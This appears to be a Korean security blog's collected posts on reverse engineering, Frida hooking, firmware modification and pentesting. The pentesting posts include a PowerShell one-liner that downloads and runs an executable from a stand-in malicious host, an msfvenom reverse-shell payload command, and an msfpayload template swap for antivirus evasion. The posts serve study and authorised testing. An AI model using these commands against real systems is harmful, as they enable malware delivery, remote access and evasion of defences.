'CTF Writeup' 카테고리의 다른 글
0ctf 2018 - LoginMe Writeup (0) | 2018.04.10 |
---|---|
codegate 2018 miro writeup (0) | 2018.02.06 |
codegate 2018 Impel Down writeup (0) | 2018.02.06 |
codegate 2018 - rbsql writeup (0) | 2018.02.06 |
Codegate 2017 - babypwn (0) | 2017.02.28 |
DBI - Frida 를 이용한 DBI
DBI
Dynamic Binary Instrumentation - 동적 바이너리 조사
printf("test %s", buf); 등과 같이 특정 시점에서의 변수값 등을 확인하거나 프로그램의 행위를 조사하는 일을 Instrumentation 라고 부른다. 소스 코드 수준에서 하는 행위를 SI (Source Instrumentation), 바이너리 수준에서 하는 행위를 BI 라 한다. BI 중에서도 바이너리 실행중에 조사하는 것을 DBI 라 부른다. 조금 더 구체적으로 설명하면, 바이너리가 어떤 함수들을 호출하는지, 또 인자값은 무엇인지 등을 조사하는 것이라 보면 될 것 같다. 예를 들어, 악성코드 분석을 할때 각종 모니터링 툴들을 켜고 악성코드를 실행하여 행위를 분석하는 것 또한 동적 바이너리 조사의 일종이라고 볼 수 있다.
DBI 구현
DBI 를 구현하는 방법에는 디버거 스크립트를 이용하는 방법, 후킹을 이용하는 방법, 코드 캐쉬와 CPU 가상화를 이용한 에뮬레이팅 등이 있다. 먼저 디버거를 이용하는 경우에는 디버거 스크립트와 조건부 브레이크포인트, 로그기능 등을 이용할 수 있다. 후킹을 이용하는 경우 주요 함수들( 네트워크 관련 함수들, File I/O 함수들, 문자열 처리 함수 등)에 후킹을 설정한 뒤 함수 후킹 시 인자값 등을 기록하거나 변조하는 행위들을 할 수 있다. 마지막으로 에뮬레이팅을 이용한 방법은 코드를 읽어서 가상 CPU 로 실행시키는 방법이다. 이전의 두가지 방법과는 다르게 투명성이 보장된다. 디버거, 후킹의 경우 이미 많이 알려져 있고 프로세스의 코드를 직접 변경하기 때문에 보호기법에 의해 쉽게 발견될 수 있다. 하지만 에뮬레이팅의 경우 코드를 복사해서 해석한뒤 실행하므로 일반적인 탐지기법들을 우회할 수 있다.
DBI 로 할 수 있는 것들
- Flow Analysis
- Reversing Automation
- Malware Analysis
- Taint Analysis
- Binary Visualization (ex: VERA)
- Vulnerability(Exploit) Analysis
이외에도 기타 상상할 수 있는 다양한 자동 분석들이 가능하다. DBI 를 이용해서 안티디버깅 코드를 탐지하는 논문도 보았고, unpacking automation 논문도 본 적이 있다. 최근에는 DBI 를 Tracer 로 사용해서 로그를 남기고 그 정보들을 활용하여 Symbolic Execution, SMT Solver 등과 연계하여 취약점을 자동으로 찾거나(AEG, Automatic Exploit Generation) CTF 문제 등을 자동으로 풀어주는 등 Advanced 한 주제들도 지속적으로 연구되고 있다. 관심이 있다면 Triton, Angr 등의 Framework 를 살펴보면 된다.
DBI Framework
PIN & PINTOOL
intel 에서 관리하는 DBI 프레임워크로 기업이 관리하는 특성상 유지보수가 매우 잘 되고 있으며 다양한 플랫폼을 지원한다. 단점은 Intel 아키텍쳐(intel cpu)만 지원한다는 점과 C++ 로 작성해야 해서 매번 컴파일 하는 것이 조금 번거롭다는 것이다. 코드를 해석해서 가상 CPU 에서 실행시킨다. 실제로 원본 파일은 실행조차 되지 않는다. 때문에 투명성이 보장되지만 속도 이슈가 있다.
(참고) http://hyunmini.tistory.com/87
FRIDA
FRIDA 는 scriptable 한 DBI 프레임워크로, http://www.frida.re 에서 무료로 다운로드 및 설치가 가능하다.(심지어 오픈소스이다. 근데 vala 라는 특이한 프로그래밍 언어로 작성되어 있다. 신기함...) FRIDA 는 기타 DBI 프레임워크와 약간 다른 구조를 가지고 있는데, DBI 를 위한 주 조작은 자바스크립트를 통해서 하며, C/S 구조로 동작하게 된다. 즉 처음에 바이너리에 프레임워크 라이브러리를 인젝션하여 파이프를 만들어 놓고, 그 파이프를 통해서 명령을 주고 받으면서 바이너리 조사를 할 수 있도록 되어 있다. 물론 C/S 를 사용하지 않고 그냥 PIN 처럼 내부적으로 동작하도록 할 수도 있다. 여러가지 언어를 이용하여 스크립트를 작성할 수 있으나(바이너리 조작은 자바스크립트로 해야 한다) Python 이 가장 단순하고 좋은 듯 하다. 하지만 제작자는 발표 등을 할 때 node.js 를 많이 사용하는 모습을 보여주고 있다. FRIDA 의 가장 큰 장점은 다양한 플랫폼을 지원한다는 것이다. PIN 과는 달리 ARM 아키텍쳐를 지원하므로 Android, IOS 앱에도 적용이 가능하다. 또한 64 bit 에서도 정상적으로 동작한다.(awesome!!)
또한, 컴파일이 필요없는 스크립트 언어로 작성이 가능하다는 것도 매력적이다. 코드 수정이 빈번한 경우 매번 컴파일을 하는 것만큼 귀찮은 것은 없기 때문이다.
ETC(DinamoRIO, Valgrind, DynInst 등)
아직 해보지 않아서 잘 모름. Valgrind 의 경우 실제로 취약점을 꽤 많이 찾아준 것으로 알고 있다.
DBI 예제 (with FRIDA)
FRIDA 기본 원리
FRIDA 는 C/S 의 구조를 지원하기 위해 윈도우의 경우 DLL 인젝션을, *닉스 계열의 경우 라이브러리 인젝션을 수행한다. 그 후 API 후킹(주소값만 지정하면 유저 custom 함수도 가능), stalking(이벤트 기반) 기능 등을 이용하여 DBI 가 가능하다. 이때, 실제 DBI 를 수행하는 코드는 자바스크립트를 이용하여 작성해 주어야 한다.
FRIDA 설치
c:\> pip install frida // pip 는 python 모듈 관리를 위한 프로그램이며 이를 이용하여 쉽게 설치가 가능함
FRIDA 참고 자료 및 API
http://www.frida.re/docs/javascript-api // 아직 관련 자료가 많지 않아 공식 문서를 보는 것이 가장 좋다.
https://github.com/OALabs/frida-extract // frida 를 이용한 PE Extract 코드 (악성코드 등에서 PE 파일 추출)
FRIDA 예제 코드
아래 코드는 DBI 에 대한 개념이해를 위해 직접 발로 짠 코드이다. 간단하게 socket 관련 함수인 send() 함수를 후킹하여 버퍼를 기록하고, send() 함수를 호출한 코드 주소값들(BackTrace) 을 기록해주는 코드이다.
import sys
import pefile
import frida
def on_message(message, data):
# c/s 구조인 경우 메시지를 보낼 수 있다. 메시지를 처리할 핸들러를 여기에 작성
print "[%s] -> %s" % (message, data)
def main(target_process):
session = frida.attach(target_process) # attach => target 에 DLL 인젝션 수행
script = session.create_script(""" # 자바스크립트 로드(실질적인 DBI 코드)
var sendPtr = Module.findExportByName("ws2_32.dll", "send"); # send 함수 주소
console.log('send address: ' + sendPtr.toString());
console.log('>> Hooking ws2_32!send <<');
Interceptor.attach(sendPtr, { # send 함수에 후킹 설정(inline hooking 수행)
onEnter: function (args) { # 함수 실행 전 수행될 코드(인자값 기록, 변조 등 가능)
console.log("buf : " + Memory.readCString(args[1])); # 메모리에서 직접 read
console.log("send called from:" + Thread.backtrace(this.context, Backtracer.ACCURATE).map(DebugSymbol.fromAddress).join("\\n") + " ");
},
onLeave: function (retval) { # 함수 실행 후 수행될 코드(리턴값 기록, 조작 등 가능)
}
});
""")
script.on('message', on_message) # 메시지 핸들러 설정
script.load()
raw_input('\n\n')
session.detach()
if __name__ == '__main__':
target_process = 'test.exe'
main(target_process)
실행
FRIDA 예제 코드2
이번에는 인자값 조작을 해 보자. send 로 전송되는 패킷 내용을 변조하는 코드이다. 위 코드와 거의 동일하며 함수 실행 전 인자값으로 넘어온 buffer 문자열을 조작한다.
import sys
import pefile
import frida
def on_message(message, data):
print "[%s] -> %s" % (message, data)
def main(target_process):
session = frida.attach(target_process)
script = session.create_script("""
var sendPtr = Module.findExportByName("ws2_32.dll", "send");
console.log('send address: ' + sendPtr.toString());
console.log('>> Hooking ws2_32!send <<');
Interceptor.attach(sendPtr, {
onEnter: function (args) {
console.log("buf : " + Memory.readCString(args[1]));
Memory.writeAnsiString(args[1],"HTTP/1.1 200 OK\\nServer: simple web server\\nContent-Type: text/html\\n\\nWelcome To My testServer !! ");
console.log("replaced buf : " + Memory.readCString(args[1]));
},
onLeave: function (retval) {
}
});
""")
script.on('message', on_message)
script.load()
raw_input('\n\n')
session.detach()
if __name__ == '__main__':
target_process = 'vul_http_server.exe'
main(target_process)
실행
'Reversing' 카테고리의 다른 글
WinDBG 고급 명령어들 (0) | 2017.06.07 |
---|---|
DBI - pin & pintool (4) | 2017.05.22 |
Embedded 기기 리버싱 - 펌웨어 리버싱 (1) | 2016.07.14 |
Windbg 기본 - (3) 분석시 유용한 명령어들 (2) | 2016.03.01 |
WinDBG 심볼 간편 설정 (0) | 2016.03.01 |
kali 한글 및 apt-get 에러 해결방법
kali 새 버전을 다운로드 했더니 한글도 안보이고 apt-get 도 안된다.
물론 검색하니 금방 해결... 간단하게 정리
한글 문제 해결
- 한글 글꼴이 포함되어 있지 않아 발생하는 문제.
# apt-get install fonts-nanum* // 나눔고딕 등 한글 폰트 설치
해결!
apt-get 에러 발생 해결 방법
apt-get 명령은 파일들이 저장된 저장소( repo ) 가 필요한데 설치시 기본 설정된 기본 repo 가 자주 죽는다. -_-;; 그냥 외부 미러 사이트로 연결하면 잘 된다.
# vi /etc/apt/sources.list
deb http://mirror.nus.edu.sg/kali/kali kali-rolling main contrib non-free
# apt-get update // 잘된다.
# apt-get install xxx // 잘된다.
'Pentesting' 카테고리의 다른 글
hashcat 간단 정리 (1) | 2019.02.21 |
---|---|
모의해킹에서의 파워쉘 활용 (0) | 2016.02.27 |
msfpayload 백신 탐지 우회 (2) | 2016.02.25 |
모의해킹을 편하게 해주는 유용한 취약점(1) - 톰캣 관리자 페이지를 이용한 웹쉘업로드 (0) | 2014.04.30 |
Metasploit 개발을 위한 문서&사이트 (0) | 2012.09.02 |
javascript 로 객체 메소드 목록 확인
jquery 가 많이 사용되고 있는데, 이러한 경우 버튼 실행 시 실제로 수행되는 코드를 찾는 게 간혹 귀찮은 경우가 있다.
난독화가 되어 있다거나, 객체를 여러번 호출하는 경우 등..
이런 경우 아래와 같이 자바스크립트를 이용하면 쉽게 메소드 확인이 가능하다.
메소드명만 확인해도 어느정도 기능을 알 수 있기 때문에 도움이 된다.
또한 함수는 toString() 메소드를 이용하면 코드 내용까지 확인할 수 있다.
console.log(Object.getOwnPropertyNames(scard.storage));
-------------------------
set,get,remove,clearAll
console.log(scard.storage.get.toString())
--------------------------
function(g, h) {
if (g == null || typeof g === "undefined") {
scard.log.debug("[scard.storage] key가 올바르지 않습니다.")
}
if (e) {
if (typeof h === "object") {
e["obj_" + g] = encodeURIComponent(JSON.stringify(h));
e.removeItem("nob_" + g)
} else {
e["nob_" + g] = encodeURIComponent(h);
e.removeItem("obj_" + g)
}
} else {
scard.log.debug("[scard.storage] 스토리지에 저장된 값이 없습니다.");
return
}
}
이를 이용하면 for 문을 써서 적당히 함수 하나 만들어서 객체의 메소드와 변수, 함수 코드 등을 출력할 수 있을 듯 하다.
'Web Hacking' 카테고리의 다른 글
SQL인젝션 - XXE를 이용한 OOB (3) | 2018.11.09 |
---|---|
xmltype() 함수를 이용한 Oracle Error Based SQL Injection (0) | 2018.08.15 |
php 의 연산자 취약점 (1) | 2016.07.28 |
PHP "==" 연산자 취약점 (1) | 2016.01.12 |
신뢰할수 없는 SSL경고 사이트 프록시 적용 - Burp 인증서 등록하기 (1) | 2015.06.21 |
python 을 이용한 bruteforcing
python 을 이용하면 쉽게 랜덤한 값을 생성하여 brutefocing 에 활용할 수 있다.
예제 소스
import itertools chars = 'abcdefghijklmnopqrstuvwxyz0123456789' start = 1 end = 5 salt = 'test' for n in range(start, end): for s in itertools.product(chars, repeat=n): print salt+''.join(s) |
hyunmini$ python crack.py | head -15
testa
testb
testc
testd
teste
testf
testg
testh
testi
testj
testk
testl
testm
testn
...
# python crack.py | john -stdin pwd
'Programming' 카테고리의 다른 글
Terminal Code Highlight - pygmentize, highlight (0) | 2017.03.14 |
---|---|
py2exe 사용법 (0) | 2014.03.04 |
php 의 연산자 취약점
php 에는 "==" 을 이용한 느슨한 비교와 "===" 를 이용한 엄격한 비교가 있다. "==" 의 경우 타입에 따라 "같다" 라는 기준을 모호하게 적용하고 있기 때문에
이로 인해 취약점이 발생하기도 한다. 자세한 것은 아래 표를 참고하자.
http://php.net/manual/kr/types.comparisons.php
예를 들어 비밀번호 비교 구문 등에서 "==" 를 사용하면 "패스워드"=0 등과 같이 우회될 수도 있다는 것.
'Web Hacking' 카테고리의 다른 글
xmltype() 함수를 이용한 Oracle Error Based SQL Injection (0) | 2018.08.15 |
---|---|
javascript 로 객체 메소드 목록 확인 (0) | 2016.08.03 |
PHP "==" 연산자 취약점 (1) | 2016.01.12 |
신뢰할수 없는 SSL경고 사이트 프록시 적용 - Burp 인증서 등록하기 (1) | 2015.06.21 |
XXE(Xml eXternal Entity) Attack (1) | 2015.02.27 |
Embedded 기기 리버싱 - 펌웨어 리버싱
# 펌웨어 획득
- 벤더 홈페이지 다운
- 플래시메모리 덤프
# 펌웨어 분석 툴
- binwalk
root@kali:~/Desktop# binwalk -h
Binwalk v1.2.2-1 Craig Heffner, http://www.devttys0.com Usage: binwalk [OPTIONS] [FILE1] [FILE2] [FILE3] ... Signature Analysis: -B, --binwalk Perform a file signature scan (default) -R, --raw-bytes=<string> Search for a custom signature -A, --opcodes Scan for executable code signatures -C, --cast Cast file contents as various data types -m, --magic=<file> Specify an alternate magic file to use ... |
1) 펌웨어 시그니처 분석
root@kali:~/Desktop# binwalk n604s_kr_9_942.bin
DECIMAL HEX DESCRIPTION
-------------------------------------------------------------------------------------------------------------------
46692 0xB664 LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, uncompressed size: 209044 bytes
131072 0x20000 TRX firmware header, little endian, header size: 28 bytes, image size: 3788800 bytes, CRC32: 0x75B1E9D4 flags: 0x0, version: 1
131100 0x2001C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4378624 bytes
1565732 0x17E424 CramFS filesystem, little endian size 2351104 version #2 sorted_dirs CRC 0x9ee064f0, edition 0, 1954 blocks, 376 files
2) 펌웨어 아키텍쳐 분석
root@kali:~/Desktop# binwalk -A n604s_kr_9_942.bin | head -10
DECIMAL HEX DESCRIPTION
-------------------------------------------------------------------------------------------------------------------
9280 0x2440 MIPSEL instructions, function epilogue
9376 0x24A0 MIPSEL instructions, function epilogue
9992 0x2708 MIPSEL instructions, function prologue
10028 0x272C MIPSEL instructions, function epilogue
10276 0x2824 MIPSEL instructions, function prologue
10280 0x2828 MIPSEL instructions, function epilogue
10288 0x2830 MIPSEL instructions, function prologue
3) 펌웨어 엔트로피 분석
root@kali:~/Desktop# binwalk -E n604s_kr_9_942.bin
4) 펌웨어 파일시스템 추출
root@kali:~/Desktop# dd if=./n604s_kr_8_96.bin of=n604s_fs.bin bs=1 skip=1565732
2124820+0 records in
2124820+0 records out
2124820 bytes (2.1 MB) copied, 2.60455 s, 816 kB/s
root@kali:~/Desktop# file n604s_fs.bin
n604s_fs.bin: Linux Compressed ROM File System data, little endian size 2121728 version #2 sorted_dirs CRC 0x9094e641, edition 0, 1646 blocks, 353 files
5) 펌웨어 파일시스템 마운트
root@kali:~/Desktop# mkdir /n604fs
root@kali:~/Desktop# mount -t cramfs ./n604s_fs.bin /n604fs/
mount: warning: /n604fs/ seems to be mounted read-only.
root@kali:~/Desktop# cd /n604fs/
root@kali:/n604fs# ls
bin cramfs default dev etc home lib linuxrc ndbin plugin proc save sbin tmp usr var
6) 파일시스템 분석 후 fmk 를 이용하여 바이너리 수정/파일시스템 추가 등 조작 후 build
7) 만들어진 new-firmware.bin 이미지를 업데이트(관리자 페이지 수동 업데이트)
8) 간혹 업데이트 시 에러가 발생하는 경우 부트코드에서 검증을 수행하는 것
- 간단한 체크섬 (우회 쉬움)
- 암호화 (우회 어려움)
** 맥에서 바로 UART 시리얼 통신 확인하기
# screen /dev/tty.usbmodemfa2321 115200
# 부트코드 리버싱
=====================
- 펌웨어에서 부트코드 분리
# dd if=~~ of=~~ skip=~~ count=~~ bs=1
- 부트코드 아키텍쳐, load address, size 지정
=> file 명령, binwalk 결과값 이용
- load address 찾는 법
=> 부트코드이므로 bss 섹션 초기화 과정이 있을 것
=> li(or la), $0x80001000 등의 코드가 2번 연속으로 나오고 move $a1, $zero 루프 등으로 초기화 하는 부분을 찾음
=> 부트코드 | bss 섹션 과 같은 구조이므로 bss 섹션 시작주소에서 부트코드 사이즈를 빼 주면 시작주소가 나옴
=> bss 섹션 시작주소 - 부트코드 사이즈 = 부트코드 시작주소
- 부트중 펌웨어 해쉬값 검증 코드 등을 찾아서 패치
'Reversing' 카테고리의 다른 글
DBI - pin & pintool (4) | 2017.05.22 |
---|---|
DBI - Frida 를 이용한 DBI (3) | 2016.09.07 |
Windbg 기본 - (3) 분석시 유용한 명령어들 (2) | 2016.03.01 |
WinDBG 심볼 간편 설정 (0) | 2016.03.01 |
Windows Kernel Reversing - Object 분석 (0) | 2015.01.28 |
파일 시스템 포렌식 - FAT 32
파일 시스템에는 다양한 종류가 있다. 리눅스 계열의 EXT, 윈도우 계열의 FAT, NTFS, 유닉스의 UFS 등 운영체제별로 다양하다.
이번 글에서는 FAT32 에 대하여 간단히 알아 보도록 하자.
- FAT32 특징 - File Allocation Table
- ㅇ
(작성중)
Windbg 기본 - (3) 분석시 유용한 명령어들
분석시 유용한 명령어 추가 정리.
# uf // 함수 디스어셈블, 함수 한번에 전체 디스어셈블, 분기문 보기좋게 보여줌 0:014> uf mshtml!CUndoPropChange::~CUndoPropChange mshtml!CUndoUnit::~CUndoUnit: 678dc2fd 8b4008 mov eax,dword ptr [eax+8] 678dc300 85c0 test eax,eax 678dc302 0f8580a92300 jne mshtml!CUndoUnit::~CUndoUnit+0x7 (67b16c88) mshtml!CUndoUnit::~CUndoUnit+0x16: 678dc308 c3 ret mshtml!CUndoUnit::~CUndoUnit+0x7: 67b16c88 50 push eax 67b16c89 6a00 push 0 67b16c8b ff351884dc67 push dword ptr [mshtml!g_hProcessHeap (67dc8418)] 67b16c91 ff15fc128967 call dword ptr [mshtml!_imp__HeapFree (678912fc)] 67b16c97 e96c56dcff jmp mshtml!CUndoUnit::~CUndoUnit+0x16 (678dc308) mshtml!CUndoPropChange::~CUndoPropChange: 67c03c81 8bff mov edi,edi 67c03c83 56 push esi 67c03c84 8bf0 mov esi,eax 67c03c86 57 push edi # uf /c // 함수 호출 관계만 보여줌 0:014> uf /c mshtml!CUndoPropChange::~CUndoPropChange mshtml!CUndoPropChange::~CUndoPropChange (67c03c81) mshtml!CUndoUnit::~CUndoUnit+0x10 (67b16c91): call to mshtml!_imp__HeapFree (678912fc) mshtml!CUndoPropChange::~CUndoPropChange+0x14 (67c03c95): unresolvable call: call dword ptr [ecx+8] mshtml!CUndoPropChange::~CUndoPropChange+0x1a (67c03c9b): call to mshtml!VariantClear (67a4b90d) # x // * 등을 사용하여 심볼 정보 확인, 클래스 정보 확인 등에 유용함 0:014> x mshtml!CUndoPropChange::~CUndoProp* // 뒷부분을 정확히 모를때 67c03c81 mshtml!CUndoPropChange::~CUndoPropChange (<no parameter info>) 0:014> x mshtml!CUndoPropChange::* // 해당 클래스 메소드 확인 67a5156c mshtml!CUndoPropChange::`vftable' = <no type information> 67c03c81 mshtml!CUndoPropChange::~CUndoPropChange (<no parameter info>) 67c03c22 mshtml!CUndoPropChange::CUndoPropChange (<no parameter info>) 67c03c51 mshtml!CUndoPropChange::`vector deleting destructor' (<no parameter info>) 67c03cdf mshtml!CUndoPropChange::PrivateDo (<no parameter info>) 67c03cae mshtml!CUndoPropChange::Init (<no parameter info>) 67c03c51 mshtml!CUndoPropChange::`scalar deleting destructor' (<no parameter info>) # dds // 4바이트씩 정리해서 심볼정보를 보여줌(문자열 포함) // 스택정보 파악 시 유용함 0:014> dds esp 05afd530 05774e50 05afd534 00477e58 05afd538 0048cb80 05afd53c 67c03c60 mshtml!CUndoAttrValueSimpleChange::`scalar deleting destructor'+0xf 05afd540 05afd57c 05afd544 05afd550 05afd548 678dc23d mshtml!CUndoUnitBase::Release+0x1e 05afd54c 00000001 05afd550 05afd58c 05afd554 67a6cfab mshtml!CImplPtrAry::ReleaseAll+0x21 05afd558 0048cb80 05afd55c 0048cb80 05afd560 06f3d030 05afd564 00000000 05afd568 678dc296 mshtml!CParentUnitBase::GetUnitType+0x82 05afd56c 06f3d030 05afd570 06f3d02c 05afd574 00000000 05afd578 05afd594 05afd57c 6789a594 mshtml!CStyleSheet::CAryFontFaces::`vftable' 05afd580 00000004 |
'Reversing' 카테고리의 다른 글
DBI - Frida 를 이용한 DBI (3) | 2016.09.07 |
---|---|
Embedded 기기 리버싱 - 펌웨어 리버싱 (1) | 2016.07.14 |
WinDBG 심볼 간편 설정 (0) | 2016.03.01 |
Windows Kernel Reversing - Object 분석 (0) | 2015.01.28 |
온라인 디컴파일러 - decompiler.fit.vutbr.cz (3) | 2014.10.31 |
WinDBG 심볼 간편 설정
WinDBG 심볼 간편 설정
WinDBG 를 사용하는 경우 심볼 설정을 해 주어야 윈도우 관련 DLL 심볼을 보며 편하게 리버싱을 할 수 있다. 여러가지 방법이 있으나 매일
까먹어서 정리해 둔다.
- WinDBG 심볼 패스 설정하기
SRV*c:\symbols*http://msdl.microsoft.com/download/symbols |
- 심볼 패스 쉽게 설정하기
0:000> .symfix c:\symbols 0:000> .reload |
- 심볼 패스 추가하기
0:000> .sympath+ c:\mysymbols 0:000> .reload |
이상 끝!
'Reversing' 카테고리의 다른 글
Embedded 기기 리버싱 - 펌웨어 리버싱 (1) | 2016.07.14 |
---|---|
Windbg 기본 - (3) 분석시 유용한 명령어들 (2) | 2016.03.01 |
Windows Kernel Reversing - Object 분석 (0) | 2015.01.28 |
온라인 디컴파일러 - decompiler.fit.vutbr.cz (3) | 2014.10.31 |
비주얼 베이직 리버싱 팁 - vb decompiler To IDC(ida script) (1) | 2013.12.23 |
모의해킹에서의 파워쉘 활용
모의해킹에서의 파워쉘 활용
이름은 거창하지만 두가지만 정리해 둔다. 윈도우7 부터 기본적으로 파워쉘을 지원하므로 상당히 유용하다.
사실 별로 깊이 공부는 하지 않았지만, 모의해킹 중 APT 시나리오(클라이언트 공격부터 시작..)를 위한 페이로드 작성에 매우 유용하기에
필요한 부분들만 정리를 했었다.
- 악성코드 Download&Execution
$web = New-Object System.Net.WebClient $web.DownloadFile("http://www.악성코드.com/hacked.exe","C:\hacked.exe") & 'c:\hacked.exe' |
달랑 두 줄만으로 가능하다. 명령 실행이 가능한 경우 사용이 가능하다.
대표적인 예로는 ActiveX 의 취약한 메소드를 찾아서 임의의 명령을 실행할 수 있을 때가 있다. 아래와 같이 스크립트를 이용해서
악성코드를 실행시킬 수 있다.
<script> $web = New-Object System.Net.WebClient;$web.DownloadFile('http://www.악성코드.com/hacked.exe','./hacked.exe'); // 다운로드 & ./hacked.exe // 실행 }\""; |
- msfpayload 로 powershell 형식 페이로드 작성하기
# msfvenom -p windows/shell/reverse_tcp -f psh lhost=10.231.5.115 lport=4444 |
여기까지 초간단 정리~!
'Pentesting' 카테고리의 다른 글
hashcat 간단 정리 (1) | 2019.02.21 |
---|---|
kali 한글 및 apt-get 에러 해결방법 (0) | 2016.08.25 |
msfpayload 백신 탐지 우회 (2) | 2016.02.25 |
모의해킹을 편하게 해주는 유용한 취약점(1) - 톰캣 관리자 페이지를 이용한 웹쉘업로드 (0) | 2014.04.30 |
Metasploit 개발을 위한 문서&사이트 (0) | 2012.09.02 |
msfpayload 백신 탐지 우회
msfpayload 백신우회
모의해킹을 하다보면 간혹 백신을 우회해야 하는 경우가 있어서 정리해 둔다.
- msfpayload
- msfencode
- msfpayload 백신우회
shikata_ga_nai 인코더를 여러번 거쳐도 몇몇 백신은 잘 탐지하는데, 몇번의 테스트 결과 metasploit 에서 exe 파일을 생성할 때
사용하는 템플릿 파일 자체를 탐지하는 것으로 추측된다. 결국 -x 옵션으로 템플릿만 바꿔주면 바로 우회가 가능했다.
# msfpayload windows/meterpreter/reverse_tcp EXITFUNC=process LPORT=4444 LHOST=10.231.5.1154 R | msfencode -a x86 -e x86/shikata_ga_nai -c 2 -x ~/Desktop/tem2.exe -t exe -o ~/Desktop/payload2.exe |
'Pentesting' 카테고리의 다른 글
kali 한글 및 apt-get 에러 해결방법 (0) | 2016.08.25 |
---|---|
모의해킹에서의 파워쉘 활용 (0) | 2016.02.27 |
모의해킹을 편하게 해주는 유용한 취약점(1) - 톰캣 관리자 페이지를 이용한 웹쉘업로드 (0) | 2014.04.30 |
Metasploit 개발을 위한 문서&사이트 (0) | 2012.09.02 |
공부용 프레임워크 & war game 사이트 (0) | 2012.09.02 |
ARM-Thumb 모드 컴파일 옵션
ndk-build 명령을 실행하면 기본적으로 arm 모드로 컴파일이 되고, Thumb 모드로 컴파일 하고 싶으면
아래와 같이 Android.mk 파일에 LOCAL_ARM_MODE 로 지정해 주면 된다. arm / thumb 로 지정.
hyunminiuiMBP2:jni hyunmini$ tree
.
├── Android.mk
└── test.c
hyunminiuiMBP2:jni hyunmini$ cat Android.mk
LOCAL_PATH:=$(call my-dir)
include $(CLEAR_VARS)
LOCAL_MODULE:=test
LOCAL_SRC_FILES:=test.c
LOCAL_ARM_MODE:=thumb
include $(BUILD_EXECUTABLE)
'Linux System Hacking' 카테고리의 다른 글
ARM Assembly 정리 - ARM 기본 개념 (0) | 2016.02.22 |
---|---|
LD_PRELOAD 를 이용한 Hooking (0) | 2014.05.03 |
ARM Assembly 정리 - ARM 기본 개념
ARM Assembly
ARM(Advanced Risc Machine)
- Thumb 모드 / ARM 모드
- ARM 모드
- Thumb 모드
- Thumb <-> ARM 모드 전환
- 레지스터
- R0 ~ R12 : 범용 레지스터, 인자값 및 임시 계산 저장소 등
- R13(SP) : Stack Pointer, x86 의 ESP 와 비슷한 역할 수행
- R14(LR) : Link Register, 함수 호출 전 LR 에 리턴 주소를 저장하고 점프함(함수 호출 시 리턴주소 스택 활용 X)
- PC : x86 에서의 EIP 레지스터와 동일한 역할 수행. 다음에 실행할 코드의 주소 저장
- Calling Convention(함수 호출 규약)
- R0 ~ R12 : 범용 레지스터, 인자값 및 임시 계산 저장소 등
- R13(SP) : Stack Pointer, x86 의 ESP 와 비슷한 역할 수행
- 실습환경
- NDK 10 : Android NDK Version.10
- IDA Pro : 디스어셈블 및 분석
- GDB : 디버깅
- ARM 장비: 안드로이드 스마트폰(베가 아이언), OS 버전 4.4
- 리버싱 기본
- 예제 소스 : test.c // 기본 api 들을 호출하는 간단한 프로그램
- 컴파일 : 디버그 정보를 포함하여 컴파일(기본적으로 ndk-build 는 strip 바이너리를 생성함)
- # ndk-build NDK_DEBUG=1
.
├── jni
│ ├── Android.mk
│ └── test.c
├── libs
│ └── armeabi
│ ├── gdb.setup
│ ├── gdbserver
│ └── test // stripped binary
└── obj
└── local
└── armeabi
├── objs
│ └── test
│ ├── test.o
│ └── test.o.d
├── objs-debug
│ └── test
│ ├── test.o
│ └── test.o.d
└── test // strip 되기 전의 디버깅 심볼 포함 파일, 이 파일로 디버깅 진행
- IDA Pro 디스어셈블링(ARM 모드로 컴파일)
- 상세분석
;int __cdecl main(int argc, const char **argv, const char **envp) EXPORT main main ; DATA XREF: _start+4Co .got:main_ptro f = -0x70 test = -0x6C var_8 = -8 STMFD SP!, {R11,LR} // R11 과 LR 을 스택에 저장하고 SP 8 감소 ADD R11, SP, #4 // SP+4 를 한 뒤 R11 에 저장 SUB SP, SP, #0x70 // SP 70 감소 LDR R2, =_GLOBAL_OFFSET_TABLE_ ; PIC mode // GOT 주소를 R2 에 저장 NOP // 아무일도 하지 않음 LDR R3, =(__stack_chk_guard_ptr - 0xAFBC) // 스택가드 offset 을 R3에 저장 LDR R3, [R2,R3] ; __stack_chk_guard // GOT+스택가드offset 을 R3 에 저장 LDR R3, [R3] // R3 주소의 값을 R3 에 저장(스택쿠키) STR R3, [R11,#var_8] // R3 값(스택쿠키)을 R11 + var_8 에 저장 SUB R2, R11, #-test // test 변수 MOV R3, #0x64 MOV R0, R2 ; s MOV R1, #0 ; c MOV R2, R3 ; n BL memset MOV R3, #0 STR R3, [R11,#f] loc_8658 ; CODE XREF: main+A0j SUB R3, R11, #-test MOV R0, R3 ; name MOV R1, #0x28 ; len BL gethostname SUB R3, R11, #-test MOV R0, R3 ; s BL puts LDR R3, =(aTest_txt - 0x8680) ADD R3, PC, R3 ; "test.txt" MOV R0, R3 ; file MOV R1, #2 ; oflag BL open STR R0, [R11,#f] LDR R0, [R11,#f] ; fd LDR R3, =(a12345 - 0x869C) ADD R3, PC, R3 ; "12345\n" MOV R1, R3 ; buf MOV R2, #6 ; n BL write LDR R0, [R11,#f] ; fd BL close MOV R0, #3 ; seconds BL sleep B loc_8658 ; End of function main ; --------------------------------------------------------------------------- off_86B8 DCD _GLOBAL_OFFSET_TABLE_ ; DATA XREF: main+Cr off_86BC DCD __stack_chk_guard_ptr - 0xAFBC ; DATA XREF: main+14r off_86C0 DCD aTest_txt - 0x8680 ; DATA XREF: main+60r ; "test.txt" off_86C4 DCD a12345 - 0x869C ; DATA XREF: main+7Cr ; "12345\n" |
- IDA Pro 디스어셈블링(Thumb 모드로 컴파일)
'Linux System Hacking' 카테고리의 다른 글
ARM-Thumb 모드 컴파일 옵션 (0) | 2016.02.23 |
---|---|
LD_PRELOAD 를 이용한 Hooking (0) | 2014.05.03 |
DBI on Android - ADBI(Android Dynamic Binary Instrumentation)
DBI on Android - ADBI(Android Dynamic Binary Instrumentation)
- DBI(Dynamic Binary Instrumentation)
- ADBI(the Android Dynamic Binary Instrumentation toolkit)
안드로이드 환경에서 DBI를 하기 위한 툴킷으로, crmulliner 라는 사람이 만들었으며 github 에 공개해 놓았다. 코드를 살펴보니,
후킹을 통해 구현해 놓았고, 예제 소스를 보고 직접 라이브러리(.so)를 만들어서 타겟 프로그램에 인젝션 하는 방식으로 동작한다.
